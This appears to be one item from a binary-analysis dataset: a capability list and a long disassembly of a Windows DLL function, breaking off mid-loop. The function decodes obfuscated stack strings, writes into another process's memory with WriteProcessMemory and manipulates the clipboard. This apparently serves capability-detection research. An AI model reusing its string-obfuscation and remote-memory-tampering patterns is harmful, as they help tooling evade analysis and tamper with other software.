Function at 0x1800294c0
Capabilities:
Contain obfuscated stackstrings
Get common file path
Open clipboard
Set file attributes
Write clipboard data

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 8], rcx
push rdi
push r14
push r15
mov eax, 0x1560
call fcn.1800d2f20
sub rsp, rax
mov rax, qword [0x18014f1c0]
xor rax, rsp
mov qword [rsp + 0x1550], rax
xor esi, esi
lea rdx, [0x180133030]
lea rcx, [0x180151dc0]
call fcn.1800196d0
mov rcx, rax
call fcn.180019980
lea rax, [rsp + 0xf10]
mov qword [rsp + 0xf60], rax
movzx edx, byte [rsp + 0xf00]
lea rcx, [rsp + 0xf10]
call fcn.18000f5b0
nop
lea r8d, [rsi + 6]
lea rdx, [0x180133044]
lea rcx, [rsp + 0xf10]
call fcn.18000f5d0
nop
lea r8, [rsp + 0xf10]
lea rdx, [rsp + 0xf08]
lea rcx, [rsp + 0x1580]
call fcn.18003e140
mov r14d, esi
mov qword [rsp + 0xf30], rsi
lea rdx, [rsp + 0xf38]
lea rcx, [rsp + 0xf08]
call fcn.18003de10
nop
mov rdx, rax
lea rcx, [0x180151dc0]
call fcn.180019640
mov rcx, rax
call fcn.180019980
nop
lea rcx, [rsp + 0xf38]
call fcn.180016370
lea rdx, [rsp + 0x1220]
lea rcx, [rsp + 0x1580]
call fcn.18003de10
nop
movzx edx, byte [rsp + 0xf00]
lea rcx, [rsp + 0xf98]
call fcn.18000f5b0
lea rcx, [rsp + 0xf98]
call fcn.180017f80
nop
xor edx, edx
lea rcx, [rsp + 0xf80]
call fcn.18002f950
nop
lea rax, [rsp + 0xd90]
mov qword [rsp + 0xf60], rax
mov qword [rsp + 0xdc8], rsi
lea rdx, [rsp + 0x1220]
lea rcx, [rsp + 0xd30]
call fcn.1800046c0
nop
mov byte [rsp + 0x20], sil
mov r9b, 1
lea r8, [rsp + 0xd90]
mov rdx, rax
lea rcx, [rsp + 0x6b0]
call fcn.180030910
mov rdx, rax
lea rcx, [rsp + 0xf80]
call fcn.18002df40
nop
lea rcx, [rsp + 0xd30]
call fcn.180016370
mov dword [rsp + 0x330], 0x76736472
mov dword [rsp + 0x334], 0x7727661
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x338], xmm0
mov dword [rsp + 0x348], eax
mov word [rsp + 0x34c], ax
mov qword [rsp + 0x30], rsi
mov rax, qword [rsp + 0x30]
movabs r9, 0x57062129e8aae900
nop dword [rax]
mov r8, qword [rsp + 0x30]
mov rax, qword [rsp + 0x30]
movzx edx, byte [rsp + rax + 0x330]
add r8, r9
mov eax, edx
and rax, r8
imul rcx, rax, 0xfffffffffffffffe
add rcx, rdx
add rcx, r8
mov rax, qword [rsp + 0x30]
mov byte [rsp + rax + 0x330], cl
mov rax, qword [rsp + 0x30]
inc rax
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp rax, 0x1e
jb 0x1800296b0
lea rdx, [rsp + 0x330]
lea rcx, [rsp + 0xd50]
call fcn.18000f570
mov rdx, rax
lea rcx, [rsp + 0xf80]
call fcn.180032680
mov rbx, rax
mov dword [rsp + 0x610], 0x7c077200
mov byte [rsp + 0x614], 0x92
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x615], xmm0
mov qword [rsp + 0x625], rax
mov qword [rsp + 0x30], rsi
mov rax, qword [rsp + 0x30]
movabs r9, 0x9cce1c4a9ba640c3
nop dword [rax]
mov rcx, qword [rsp + 0x30]
mov rax, qword [rsp + 0x30]
movzx edx, byte [rsp + rax + 0x610]
add rcx, r9
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
sub r8b, 0x55
mov rax, qword [rsp + 0x30]
mov byte [rsp + rax + 0x610], r8b
mov rax, qword [rsp + 0x30]
inc rax
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp rax, 0x1d
jb 0x180029760
lea rdx, [rsp + 0x610]
lea rcx, [rsp + 0xd70]
call fcn.18000f570
mov rdx, rax
mov rcx, rbx
call fcn.180032680
movzx r8d, byte [rsp + 0xf00]
lea rdx, [rsp + 0x870]
mov rcx, rax
call fcn.180035130
lea rdx, [rsp + 0x870]
lea rcx, [rsp + 0xf98]
call fcn.1800163d0
lea rcx, [rsp + 0x870]
call fcn.180016370
nop
jmp 0x180029811
lea rax, [rsp + 0x790]
mov qword [rsp + 0x30], rax
movzx edx, byte [rsp + 0xf00]
lea rcx, [rsp + 0x790]
call fcn.18000f5b0
nop
mov r8d, 0xd
lea rdx, [0x180133060]
lea rcx, [rsp + 0x790]
call fcn.18000f5d0
nop
lea r8, [rsp + 0x790]
lea rdx, [rsp + 0x720]
lea rcx, [rsp + 0x1580]
call fcn.18003e140
mov rbx, rax
mov rcx, qword [rax]
call fcn.1800055d0
test al, al
je 0x180029891
cmp qword [rbx], 0
jne 0x180029891
mov rdi, 0xffffffffffffffff
lea r15d, [rdi + 2]
jmp 0x1800299b4
lea rax, [rsp + 0x770]
mov qword [rsp + 0x30], rax
movzx edx, byte [rsp + 0xf00]
lea rcx, [rsp + 0x770]
call fcn.18000f5b0
nop
mov r8d, 0xd
lea rdx, [0x180133060]
lea rcx, [rsp + 0x770]
call fcn.18000f5d0
nop
lea r8, [rsp + 0x770]
lea rdx, [rsp + 0x728]
lea rcx, [rsp + 0x1580]
call fcn.18003e140
mov r14, qword [rax]
mov rcx, r14
call fcn.1800055d0
test al, al
je 0x18002d596
cmp r14, 0xffffffffffffffff
je 0x18002d596
mov r15d, 1
mov word [rsp + 0xf00], r15w
lea rax, [rsp + 0x750]
mov qword [rsp + 0x30], rax
movzx edx, byte [rsp + 0xf00]
lea rcx, [rsp + 0x750]
call fcn.18000f5b0
nop
lea r8d, [r15 + 0xc]
lea rdx, [0x180133060]
lea rcx, [rsp + 0x750]
call fcn.18000f5d0
nop
lea r8, [rsp + 0x750]
lea rdx, [rsp + 0x7f0]
lea rcx, [rsp + 0x1580]
call fcn.18003e140
mov rbx, rax
mov rcx, qword [rax]
call fcn.1800055d0
mov rdi, 0xffffffffffffffff
test al, al
mov rdx, rdi
je 0x18002998d
mov rdx, qword [rbx]
add rdx, 0x1b8
mov qword [rsp + 0x20], rsi
mov r9d, 2
lea r8, [rsp + 0xf00]
mov rcx, qword [0x1801537e0]
call qword [sym.imp.kernel32.dll_WriteProcessMemory]
lea rdx, [0x180133070]
lea rcx, [0x180151dc0]
call fcn.1800196d0
mov rcx, rax
call fcn.180019980
lea rax, [rsp + 0x730]
mov qword [rsp + 0x30], rax
movzx edx, byte [rsp + 0xf00]
lea rcx, [rsp + 0x730]
call fcn.18000f5b0
nop
mov r8d, 0xa
lea rdx, [0x180133078]
lea rcx, [rsp + 0x730]
call fcn.18000f5d0
nop
lea r8, [rsp + 0x730]
lea rdx, [rsp + 0x7f8]
lea rcx, [rsp + 0x1580]
call fcn.18003e140
mov rbx, rax
mov rcx, qword [rax]
call fcn.1800055d0
test al, al
je 0x180029a3f
cmp qword [rbx], 0
je 0x180029abe
lea rax, [rsp + 0x700]
mov qword [rsp + 0x30], rax
movzx edx, byte [rsp + 0xf00]
lea rcx, [rsp + 0x700]
call fcn.18000f5b0
nop
mov r8d, 0xa
lea rdx, [0x180133078]
lea rcx, [rsp + 0x700]
call fcn.18000f5d0
nop
lea r8, [rsp + 0x700]
lea rdx, [rsp + 0x38]
lea rcx, [rsp + 0x1580]
call fcn.18003e140
mov rcx, qword [rax]
mov qword [rsp + 0xf30], rcx
call fcn.1800055d0
test al, al
je 0x18002d596
cmp qword [rsp + 0xf30], 0xffffffffffffffff
je 0x18002d596
lea rdx, [0x180133084]
lea rcx, [0x180151dc0]
call fcn.1800196d0
mov rcx, rax
call fcn.180019980
mov dword [rsp + 0x230], 0x6f6b7472
mov dword [rsp + 0x234], 0x787e7d7f
mov word [rsp + 0x238], 0x647c
mov byte [rsp + 0x23a], 0xcc
xor eax, eax
mov dword [rsp + 0x23b], eax
mov word [rsp + 0x23f], ax
mov qword [rsp + 0x30], rsi
mov rax, qword [rsp + 0x30]
cmp rax, 0x11
jae 0x180029b7e
movabs r9, 0x278fadfd395bd5e1
nop dword [rax]
mov rcx, qword [rsp + 0x30]
mov rax, qword [rsp + 0x30]
movzx edx, byte [rsp + rax + 0x230]
add rcx, r9
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
sub r8b, 0x27
mov rax, qword [rsp + 0x30]
mov byte [rsp + rax + 0x230], r8b
mov rax, qword [rsp + 0x30]
inc rax
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp rax, 0x11
jb 0x180029b30
lea rdx, [rsp + 0x230]
lea rcx, [rsp + 0xf98]
call fcn.180019a10
test al, al
je 0x180029e67
mov dword [rsp + 0x350], 0x564b444a
mov dword [rsp + 0x354], 0xd75a4649
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x358], xmm0
mov dword [rsp + 0x368], eax
mov byte [rsp + 0x36c], al
mov qword [rsp + 0x30], rsi
mov rax, qword [rsp + 0x30]
cmp rax, 0x1d
jae 0x180029c31
movabs r9, 0x61bd9a961b7a0be4
mov r8, qword [rsp + 0x30]
mov rax, qword [rsp + 0x30]
movzx edx, byte [rsp + rax + 0x350]
add r8, r9
mov eax, edx
and rax, r8
imul rcx, rax, 0xfffffffffffffffe
add rcx, rdx
add rcx, r8
sub cl, 0x3c
mov rax, qword [rsp + 0x30]
mov byte [rsp + rax + 0x350], cl
mov rax, qword [rsp + 0x30]
inc rax
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp rax, 0x1d
jb 0x180029be6
lea rdx, [rsp + 0x350]
lea rcx, [rsp + 0xa70]
call fcn.18000f570
mov rdx, rax
lea rcx, [rsp + 0xf80]
call fcn.180032680
mov rbx, rax
mov dword [rsp + 0x510], 0x8c848f89
mov byte [rsp + 0x514], 0x64
xor eax, eax
mov qword [rsp + 0x515], rax
mov dword [rsp + 0x51d], eax
mov word [rsp + 0x521], ax
mov byte [rsp + 0x523], al
mov qword [rsp + 0x30], rsi
mov rax, qword [rsp + 0x30]
cmp rax, 0x14
jae 0x180029cf4
movabs r9, 0xfbacb8cfab4c3d30
mov rcx, qword [rsp + 0x30]
mov rax, qword [rsp + 0x30]
movzx edx, byte [rsp + rax + 0x510]
add rcx, r9
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
sub r8b, 0x50
mov rax, qword [rsp + 0x30]
mov byte [rsp + rax + 0x510], r8b
mov rax, qword [rsp + 0x30]
inc rax
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp rax, 0x14
jb 0x180029ca6
lea rdx, [rsp + 0x510]
lea rcx, [rsp + 0xf10]
call fcn.18000f570
mov rdx, rax
mov rcx, rbx
call fcn.180032680
movzx r8d, byte [rsp + 0xf00]
lea rdx, [rsp + 0x10c0]
mov rcx, rax
call fcn.180035130
nop
lea rdx, [0x180131b35]
lea rcx, [rsp + 0x10c0]
call fcn.180019a10
test al, al
je 0x180029d94
lea rcx, [rsp + 0x10c0]
call fcn.180016370
nop
lea rax, [rsp + 0xf10]
mov qword [rsp + 0x38], rax
movzx edx, byte [rsp + 0xf00]
lea rcx, [rsp + 0xf10]
call fcn.18000f5b0
nop
mov r8, r15
lea rdx, [0x180133058]
lea rcx, [rsp + 0xf10]
call fcn.18000f5d0
nop
jmp 0x18002d5d4
lea rdx, [rsp + 0x10c0]
lea rcx, [rsp + 0xf10]
call fcn.1800165a0
mov rdx, rax
lea rcx, [rsp + 0x1140]
call fcn.180021fd0
nop
mov rcx, r14
call fcn.1800055d0
test al, al
cmove r14, rdi
lea rcx, [r14 + 0x158]
call fcn.180008c00
mov rbx, rax
lea rcx, [rax + 0x10]
lea rdx, [rsp + 0x1140]
call fcn.18003d910
mov rcx, qword [rsp + 0x1150]
mov qword [rsp + 0xdd0], rcx
lea rdx, [rbx + 0x20]
mov qword [rsp + 0x20], rsi
mov r9d, 8
lea r8, [rsp + 0xdd0]
mov rcx, qword [0x1801537e0]
call qword [sym.imp.kernel32.dll_WriteProcessMemory]
xor edx, edx
lea rcx, [rsp + 0x10c0]
call fcn.180017f60
xor edx, edx
lea rcx, [rsp + 0x1140]
call fcn.180017f60
nop
lea rcx, [rsp + 0x1140]
call fcn.180016370
nop
lea rcx, [rsp + 0x10c0]
call fcn.180016370
nop
jmp 0x18002d559
mov dword [rsp + 0x1c0], 0xa8a6b4b7
mov dword [rsp + 0x1c4], 0x978f9787
mov dword [rsp + 0x1c8], 0x9f9b839c
mov dword [rsp + 0x1cc], 0x83998e81
mov word [rsp + 0x1d0], 0xe985
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x1d2], xmm0
mov dword [rsp + 0x1e2], eax
mov word [rsp + 0x1e6], ax
mov byte [rsp + 0x1e8], al
mov qword [rsp + 0x30], rsi
mov rax, qword [rsp + 0x30]
cmp rax, 0x29
jae 0x180029f2e
movabs r9, 0x5f71cc6523c171dc
nop word [rax + rax]
mov rcx, qword [rsp + 0x30]
mov rax, qword [rsp + 0x30]
movzx edx, byte [rsp + rax + 0x1c0]
add rcx, r9
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
sub r8b, 4
mov rax, qword [rsp + 0x30]
mov byte [rsp + rax + 0x1c0], r8b
mov rax, qword [rsp + 0x30]
inc rax
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp rax, 0x29
jb 0x180029ee0
lea rdx, [rsp + 0x1c0]
lea rcx, [rsp + 0xf98]
call fcn.180019a10
test al, al
je 0x18002a1a6
mov dword [rsp + 0x50], 0xc03d30d2
mov dword [rsp + 0x54], 0x4d41b036
mov dword [rsp + 0x58], 0xdb544945
xor eax, eax
mov dword [rsp + 0x5c], eax
mov qword [rsp + 0x30], rsi
mov rax, qword [rsp + 0x30]
cmp rax, 0x10
jae 0x180029fd5
movabs r9, 0x321e4cec81c81bbb
nop dword [rax]
nop word [rax + rax]
mov r8, qword [rsp + 0x30]
mov rax, qword [rsp + 0x30]
movzx edx, byte [rsp + rax + 0x50]
add r8, r9
mov eax, edx
and rax, r8
imul rcx, rax, 0xfffffffffffffffe
add rcx, rdx
add rcx, r8
sub cl, 0x1d
mov rax, qword [rsp + 0x30]
mov byte [rsp + rax + 0x50], cl
mov rax, qword [rsp + 0x30]
inc rax
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp rax, 0x10
jb 0x180029f90
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0xf30]
call fcn.18003dc30
lea rdx, [rsp + 0x50]
mov rcx, rax
call fcn.180019a10
movzx ebx, al
lea rcx, [rsp + 0x60]
call fcn.180016370
mov rcx, qword [rsp + 0xf30]
call fcn.1800055d0
mov rdx, qword [rsp + 0xf30]
test bl, bl
je 0x18002a029
test al, al
cmove rdx, rdi
add rdx, 0x1b8
jmp 0x18002a036
test al, al
cmove rdx, rdi
add rdx, 0x158
add rdx, 0x10
mov qword [rsp + 0x20], rsi
mov r9d, 8
lea r8, [rsp + 0xdd0]
mov rcx, qword [0x1801537e0]
call qword [sym.imp.kernel32.dll_ReadProcessMemory]
mov rdx, qword [rsp + 0xdd0]
add rdx, 0x10
lea rcx, [rsp + 0xf10]
call fcn.18003d5a0
nop
lea rdx, [rsp + 0xf10]
lea rcx, [rsp + 0x60]
call fcn.180024430
mov rdx, rax
lea rcx, [rsp + 0xf10]
call fcn.1800163d0
lea rcx, [rsp + 0x60]
call fcn.180016370
lea rdx, [rsp + 0xf10]
lea rcx, [rsp + 0x1020]
call fcn.180028fe0
nop
lea r8, [rsp + 0x1020]
lea rdx, [0x180133098]
lea rcx, [rsp + 0xf60]
call fcn.180019a60
nop
mov r8d, 2
lea rdx, [0x180133094]
mov rcx, rax
call fcn.1800162e0
mov rdx, rax
lea rcx, [rsp + 0x60]
call fcn.180016460
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0xf38]
call fcn.180022900
nop
lea rcx, [rsp + 0xf60]
call fcn.180016370
mov rcx, r14
call fcn.1800055d0
test al, al
cmove r14, rdi
lea rcx, [r14 + 0x158]
call fcn.180008c00
mov rbx, rax
lea rcx, [rax + 0x10]
lea rdx, [rsp + 0xf38]
call fcn.18003d910
mov rcx, qword [rsp + 0xf48]
mov qword [rsp + 0xf60], rcx
lea rdx, [rbx + 0x20]
mov qword [rsp + 0x20], rsi
mov r9d, 8
lea r8, [rsp + 0xf60]
mov rcx, qword [0x1801537e0]
call qword [sym.imp.kernel32.dll_WriteProcessMemory]
nop
lea rcx, [rsp + 0xf38]
call fcn.180016370
nop
lea rcx, [rsp + 0x1020]
call fcn.180016370
nop
lea rcx, [rsp + 0xf10]
call fcn.180016370
jmp 0x18002d559
mov dword [rsp + 0x180], 0x8ef88efb
mov dword [rsp + 0x184], 0x81f0f6f6
mov dword [rsp + 0x188], 0x87f282ff
mov byte [rsp + 0x18c], 0x6a
xor eax, eax
mov qword [rsp + 0x18d], rax
mov byte [rsp + 0x195], al
mov qword [rsp + 0x30], rsi
mov rax, qword [rsp + 0x30]
cmp rax, 0x16
jae 0x18002a24b
movabs r9, 0x4eff91701bd43431
nop word [rax + rax]
mov r8, qword [rsp + 0x30]
mov rax, qword [rsp + 0x30]
movzx edx, byte [rsp + rax + 0x180]
add r8, r9
mov eax, edx
and rax, r8
imul rcx, rax, 0xfffffffffffffffe
add rcx, rdx
add rcx, r8
sub cl, 0x57
mov rax, qword [rsp + 0x30]
mov byte [rsp + rax + 0x180], cl
mov rax, qword [rsp + 0x30]
inc rax
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp rax, 0x16
jb 0x18002a200
lea rdx, [rsp + 0x180]
lea rcx, [rsp + 0xf98]
call fcn.180019a10
xorps xmm0, xmm0
test al, al
je 0x18002a49a
mov dword [rsp + 0x370], 0x1013ee10
mov dword [rsp + 0x374], 0x8f1c1ce1
xor eax, eax
movups xmmword [rsp + 0x378], xmm0
mov dword [rsp + 0x388], eax
mov word [rsp + 0x38c], ax
mov qword [rsp + 0x30], rsi
mov rax, qword [rsp + 0x30]
cmp rax, 0x1e
jae 0x18002a2ff
movabs r9, 0xc09918ff9b698f15
mov r8, qword [rsp + 0x30]
mov rax, qword [rsp + 0x30]
movzx edx, byte [rsp + rax + 0x370]
add r8, r9
mov eax, edx
and rax, r8
imul rcx, rax, 0xfffffffffffffffe
add rcx, rdx
add rcx, r8
add cl, 0x6d
mov rax, qword [rsp + 0x30]
mov byte [rsp + rax + 0x370], cl
mov rax, qword [rsp + 0x30]
inc rax
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp rax, 0x1e
jb 0x18002a2b4
lea rdx, [rsp + 0x370]
lea rcx, [rsp + 0xa90]
call fcn.18000f570
mov rdx, rax
lea rcx, [rsp + 0xf80]
call fcn.180032680
mov rbx, rax
mov dword [rsp + 0x5d0], 0x38003f05
mov byte [rsp + 0x5d4], 0xa8
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x5d5], xmm0
mov qword [rsp + 0x5e5], rax
mov word [rsp + 0x5ed], ax
mov qword [rsp + 0x30], rsi
mov rcx, qword [rsp + 0x30]
cmp rcx, 0x1f
jae 0x18002a3bf
movabs r9, 0x99d0cc0057134b9a
mov rcx, qword [rsp + 0x30]
mov rax, qword [rsp + 0x30]
movzx edx, byte [rsp + rax + 0x5d0]
add rcx, r9
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
sub r8b, 0x36
mov rax, qword [rsp + 0x30]
mov byte [rsp + rax + 0x5d0], r8b
mov rax, qword [rsp + 0x30]
inc rax
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp rax, 0x1f
jb 0x18002a371
lea rdx, [rsp + 0x5d0]
lea rcx, [rsp + 0xf10]
call fcn.18000f570
mov rdx, rax
mov rcx, rbx
call fcn.180032680
movzx r8d, byte [rsp + 0xf00]
lea rdx, [rsp + 0x1160]
mov rcx, rax
call fcn.180035130
xor ecx, ecx
call qword [sym.imp.user32.dll_OpenClipboard]
call qword [sym.imp.user32.dll_EmptyClipboard]
mov rdx, qword [rsp + 0x1170]
inc rdx
mov ecx, 2
call qword [sym.imp.kernel32.dll_GlobalAlloc]
mov rbx, rax
test rax, rax
jne 0x18002a42a
call qword [sym.imp.user32.dll_CloseClipboard]
mov rcx, rbx
call qword [sym.imp.kernel32.dll_GlobalLock]
mov rdi, rax
test rax, rax
jne 0x18002a44a
mov rcx, rbx
call qword [sym.imp.kernel32.dll_GlobalFree]
call qword [sym.imp.user32.dll_CloseClipboard]
lea rcx, [rsp + 0x1160]
call fcn.1800161f0
mov rdx, qword [rsp + 0x1170]
inc rdx
mov r8, rax
mov rcx, rdi
call fcn.1800e1e50
mov rcx, rbx
call qword [sym.imp.kernel32.dll_GlobalUnlock]
mov rdx, rbx
mov ecx, r15d
call qword [sym.imp.user32.dll_SetClipboardData]
call qword [sym.imp.user32.dll_CloseClipboard]
lea rcx, [rsp + 0x1160]
call fcn.180016370
jmp 0x18002d559
mov dword [rsp + 0x210], 0x9380e3b
mov dword [rsp + 0x214], 0x300d3c02
mov word [rsp + 0x218], 0x8d3e
xor eax, eax
movups xmmword [rsp + 0x21a], xmm0
mov dword [rsp + 0x22a], eax
mov word [rsp + 0x22e], ax
mov qword [rsp + 0x30], rsi
mov rax, qword [rsp + 0x30]
cmp rax, 0x20
jae 0x18002a53b
movabs r9, 0x40d3b3853c5ca099
nop dword [rax]
mov r8, qword [rsp + 0x30]
mov rax, qword [rsp + 0x30]
movzx edx, byte [rsp + rax + 0x210]
add r8, r9
mov eax, edx
and rax, r8
imul rcx, rax, 0xfffffffffffffffe
add rcx, rdx
add rcx, r8
sub cl, 0x2f
mov rax, qword [rsp + 0x30]
mov byte [rsp + rax + 0x210], cl
mov rax, qword [rsp + 0x30]
inc rax
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp rax, 0x20
jb 0x18002a4f0
lea rdx, [rsp + 0x210]
lea rcx, [rsp + 0xf98]
call fcn.180019a10
test al, al
je 0x18002a750
mov dword [rsp + 0x390], 0x60a3aea0
mov dword [rsp + 0x394], 0xef5c5c51
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x398], xmm0
mov dword [rsp + 0x3a8], eax
mov byte [rsp + 0x3ac], al
mov qword [rsp + 0x30], rsi
mov rax, qword [rsp + 0x30]
cmp rax, 0x1d
jae 0x18002a5ee
movabs r9, 0x697ba0a8d377ce7d
mov r8, qword [rsp + 0x30]
mov rax, qword [rsp + 0x30]
movzx edx, byte [rsp + rax + 0x390]
add r8, r9
mov eax, edx
and rax, r8
imul rcx, rax, 0xfffffffffffffffe
add rcx, rdx
add rcx, r8
sub cl, 0x6b
mov rax, qword [rsp + 0x30]
mov byte [rsp + rax + 0x390], cl
mov rax, qword [rsp + 0x30]
inc rax
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp rax, 0x1d
jb 0x18002a5a3
lea rdx, [rsp + 0x390]
lea rcx, [rsp + 0xab0]
call fcn.18000f570
mov rdx, rax
lea rcx, [rsp + 0xf80]
call fcn.180032680
mov rbx, rax
mov dword [rsp + 0x530], 0x78707f75
mov byte [rsp + 0x534], 0xc8
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x535], xmm0
mov qword [rsp + 0x545], rax
mov word [rsp + 0x54d], ax
mov byte [rsp + 0x54f], al
mov qword [rsp + 0x30], rsi
mov rcx, qword [rsp + 0x30]
cmp rcx, 0x20
jae 0x18002a6bb
movabs r9, 0x754cdd2a1f5814a2
nop word [rax + rax]
mov r8, qword [rsp + 0x30]
mov rax, qword [rsp + 0x30]
movzx edx, byte [rsp + rax + 0x530]
add r8, r9
mov eax, edx
and rax, r8
imul rcx, rax, 0xfffffffffffffffe
add rcx, rdx
add rcx, r8
sub cl, 0x6e
mov rax, qword [rsp + 0x30]
mov byte [rsp + rax + 0x530], cl
mov rax, qword [rsp + 0x30]
inc rax
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp rax, 0x20
jb 0x18002a670
lea rdx, [rsp + 0x530]
lea rcx, [rsp + 0xf10]
call fcn.18000f570
mov rdx, rax
mov rcx, rbx
call fcn.180032680
movzx r8d, byte [rsp + 0xf00]
lea rdx, [rsp + 0x11a0]
mov rcx, rax
call fcn.180035130
nop
xor edx, edx
lea r8d, [rdx + 0xa]
lea rcx, [rsp + 0x11a0]
call fcn.180022f20
mov dword [rsp + 0xf90], eax
mov rdx, qword [0x1801537d0]
add rdx, 0x4fe4e98
mov qword [rsp + 0x20], rsi
mov r9d, 8
lea r8, [rsp + 0xf90]
mov rcx, qword [0x1801537e0]
call qword [sym.imp.kernel32.dll_WriteProcessMemory]
nop
lea rcx, [rsp + 0x11a0]
call fcn.180016370
jmp 0x18002d559
lea rdx, [0x1801330a8]
lea rcx, [rsp + 0xf98]
call fcn.180019a10
test al, al
je 0x18002ce11
lea rcx, [rsp + 0xfc0]
call fcn.1800166c0
lea rcx, [rsp + 0xfe0]
call fcn.1800166c0
lea rcx, [rsp + 0x1000]
call fcn.1800166c0
nop
mov dword [rsp + 0x470], 0x868bb48a
mov dword [rsp + 0x474], 0x79a96a9
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x478], xmm0
mov qword [rsp + 0x488], rax
mov qword [rsp + 0x30], rsi
mov rax, qword [rsp + 0x30]
cmp rax, 0x20
jae 0x18002a82e
movabs r9, 0x9c5b5834fb5c8f2c
nop dword [rax]
mov rcx, qword [rsp + 0x30]
mov rax, qword [rsp + 0x30]
movzx edx, byte [rsp + rax + 0x470]
add rcx, r9
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
sub r8b, 0x34
mov rax, qword [rsp + 0x30]
mov byte [rsp + rax + 0x470], r8b
mov rax, qword [rsp + 0x30]
inc rax
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp rax, 0x20
jb 0x18002a7e0
lea rdx, [rsp + 0x470]
lea rcx, [rsp + 0xad0]
call fcn.18000f570
mov rdx, rax
lea rcx, [rsp + 0xf80]
call fcn.180032680
mov rbx, rax
mov dword [rsp + 0x5f0], 0x8a9e979d
mov byte [rsp + 0x5f4], 0x3a
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x5f5], xmm0
mov word [rsp + 0x605], ax
mov qword [rsp + 0x30], rsi
mov rcx, qword [rsp + 0x30]
cmp rcx, 0x17
jae 0x18002a8ee
movabs r9, 0xbc39584060e9ecd7
nop dword [rax + rax]
mov rcx, qword [rsp + 0x30]
mov rax, qword [rsp + 0x30]
movzx edx, byte [rsp + rax + 0x5f0]
add rcx, r9
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
add r8b, 0x1f
mov rax, qword [rsp + 0x30]
mov byte [rsp + rax + 0x5f0], r8b
mov rax, qword [rsp + 0x30]
inc rax
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp rax, 0x17
jb 0x18002a8a0
lea rdx, [rsp + 0x5f0]
lea rcx, [rsp + 0xaf0]
call fcn.18000f570
mov rdx, rax
mov rcx, rbx
call fcn.180032680
mov rbx, rax
mov dword [rsp + 0x550], 0x6a766261
mov word [rsp + 0x554], 0x6b6b
mov byte [rsp + 0x556], 0xc6
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x557], xmm0
mov word [rsp + 0x567], ax
mov qword [rsp + 0x30], rsi
mov rcx, qword [rsp + 0x30]
cmp rcx, 0x19
jae 0x18002a9ae
movabs r9, 0xf32ca8879e964060
nop dword [rax]
mov rcx, qword [rsp + 0x30]
mov rax, qword [rsp + 0x30]
movzx edx, byte [rsp + rax + 0x550]
add rcx, r9
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
add r8b, 0x60
mov rax, qword [rsp + 0x30]
mov byte [rsp + rax + 0x550], r8b
mov rax, qword [rsp + 0x30]
inc rax
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp rax, 0x19
jb 0x18002a960
lea rdx, [rsp + 0x550]
lea rcx, [rsp + 0xb10]
call fcn.18000f570
mov rdx, rax
mov rcx, rbx
call fcn.180032680
movzx r8d, byte [rsp + 0xf00]
lea rdx, [rsp + 0x890]
mov rcx, rax
call fcn.180035130
lea rdx, [rsp + 0x890]
lea rcx, [rsp + 0xfe0]
call fcn.1800163d0
lea rcx, [rsp + 0x890]
call fcn.180016370
mov dword [rsp + 0x2b0], 0xece3fee4
mov dword [rsp + 0x2b4], 0x1fe0e0fd
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x2b8], xmm0
mov dword [rsp + 0x2c8], eax
mov word [rsp + 0x2cc], ax
mov byte [rsp + 0x2ce], al
mov qword [rsp + 0x30], rsi
mov rax, qword [rsp + 0x30]
cmp rax, 0x1f
jae 0x18002aaae
movabs r9, 0xea8dd2b31f212dd3
nop dword [rax]
mov rcx, qword [rsp + 0x30]
mov rax, qword [rsp + 0x30]
movzx edx, byte [rsp + rax + 0x2b0]
add rcx, r9
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
add r8b, 0x3b
mov rax, qword [rsp + 0x30]
mov byte [rsp + rax + 0x2b0], r8b
mov rax, qword [rsp + 0x30]
inc rax
